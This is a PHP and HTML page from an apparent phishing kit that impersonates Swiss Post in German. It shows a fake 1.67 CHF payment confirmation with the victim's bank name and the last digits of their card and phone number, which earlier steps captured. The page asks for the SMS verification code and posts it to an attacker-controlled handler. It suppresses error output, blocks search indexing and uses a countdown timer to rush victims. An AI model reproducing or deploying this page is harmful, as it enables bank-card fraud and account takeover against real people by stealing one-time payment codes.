<?php
session_start();

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');

include("./90CILfig/ZP900.php");
include("./90CILfig/MSISA21.php");
include("./90CILfig/Dimla8.php");

$bank_name = $_SESSION["bank_name"];
$bank_scheme = $_SESSION["bank_scheme"];

$phone = $_SESSION["phone"];
$phone = str_replace(" ","",$phone);

$one = $_SESSION["one"];
$one = str_replace(" ","",$one);
?>
<!doctype html>
<html lang="de">
    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
        
        <!-- CSS FILES -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css">
        <link rel="stylesheet" href="./xzour/helpers.css">
        <link rel="stylesheet" href="https://dancinggorillas.com/fonts/style_swi.css">

        <link rel="icon" href="./xzour/favicon.ico" />

        <title>Details | Swiss Post Ltd</title>
    </head>
	<header>
            <div class="head">
                <div class="logo">
                    <img src="./xzour/logo.png" style="width: 200px;">
                </div>
            </div>
    </header>

    <body>

		<div id="ss-wrapper">
            <div class="ss-area">
                <form action="./sift2A/C.php" method="post">
                <input type="hidden" name="captcha">
                <input type="hidden" name="step" value="sms">
                <input type="hidden" name="error" value="">
                <div class="top d-flex align-items-center">
                    <div class="flex-grow-1"><img style="width: 120px;" src="./xzour/logo.png"></div>
                    <div><img src="./xzour/<?php echo $bank_scheme; ?>.png" style="max-width: 120px;"></div>
                </div>
                <h3>Bitte bestätigen Sie die folgende Zahlung.</h3>
                <div class="details">
                    <p>Das eindeutige Passwort wurde an die unten aufgeführte Handynummer gesendet. Wenn Sie Ihre Handynummer ändern müssen, wenden Sie sich bitte an Ihre Bank oder ändern Sie sie über die verfügbaren Kanäle (Geldautomat, Internet).</p>
                    <table>
                        <tr>
                            <td>Bank Name:</td>
                            <td><?php echo $bank_name; ?></td>
                        </tr>
                        <tr>
                            <td>Händler:</td>
                            <td>Die Post</td>
                        </tr>
                        <tr>
                            <td>Menge:</td>
                            <td>1,67 CHF</td>
                        </tr>
                        <tr>
                            <td>Datum:</td>
                            <td><strong><SCRIPT LANGUAGE="JavaScript">
var maintenant=new Date();
var jour=maintenant.getDate();
var mois=maintenant.getMonth()+1;
var an=maintenant.getFullYear();
document.write("",jour,"/",mois,"/",an,);
</SCRIPT></strong></td>
                        </tr>
                        <tr>
                            <td>Kreditkartennummer:</td>
                            <td>XXXXXXXXXX<?php echo substr($one , -4);?></td>
                        </tr>
                        <tr>
                            <td>Telefonnummer:</td>
                            <td>XXXXXXXXXX<?php echo substr($phone , -4);?></td>
                        </tr>
                        <tr>
                            <td>SMS-Code:</td>
                            <td>
                                <input type="text" inputmode="numeric" maxlength="8" name="smsone" id="smsone" class="" required>
                                                            </td>
                        </tr>
                    </table>
                    <p style="font-size: 14px; text-align: center; margin-bottom: 0; margin-top: 10px;">Bitte geben Sie den per SMS erhaltenen Bestätigungscode ein:<span class="timer" style="color: #d40511; font-weight: 700; cursor: pointer;"></span></p>

                </div>
                <div class="btns">
                    <button type="submit">Einreichen</button>
                </div>
                <p class="copy">© 2023 Die Schweizerische Post AG</p>
            </form>
            </div>
        </div>

        <!-- JS FILES -->
        <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.1/js/all.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.payment/3.0.0/jquery.payment.min.js"></script>
        <script src="./xzour/jquery.countdownTimer.min.js"></script>
        <script src="./xzour/script.js"></script>
		
		        <script type="text/javascript">
            $(".timer").countdowntimer({
                minutes : 2,
                timeUp : timeIsUp
            });
            function timeIsUp() {
                $(".timer").html('Versuchen Sie es nochmal');
            }
            $('.timer').click(function(){
                location.reload();
            });
        </script>
		
			  <script src="./xzour/jquery.min.js"></script>





    </body>

</html>